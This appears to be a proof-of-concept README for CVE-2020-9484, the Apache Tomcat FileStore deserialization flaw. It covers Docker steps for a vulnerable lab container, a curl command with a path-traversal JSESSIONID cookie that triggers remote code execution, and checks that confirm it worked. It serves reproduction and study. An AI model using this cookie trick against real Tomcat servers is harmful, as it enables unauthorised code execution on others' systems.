CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Title:Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
Description:When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.

# CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.


## Run
```
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`
```

## Check (clean)
```
$ docker exec -it $CONTAINER ls -la /tmp
```
**NOTE:** (`rce` NOT in output)

## Exploit
```
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
```

## Check (exploited)
```
$ docker exec -it $CONTAINER ls -la /tmp
```
**NOTE:** (`rce` IS in output)

 [4.0K]  /data/pocs/b25c20533d6d3be58b79ef60a1b80f3c085d6cc7
├── [1.4K]  context.xml
├── [ 357]  Dockerfile
├── [4.3M]  groovy-2.3.9.jar
├── [2.0K]  groovy.session
├── [ 303]  index.jsp
└── [ 600]  README.md

0 directories, 6 files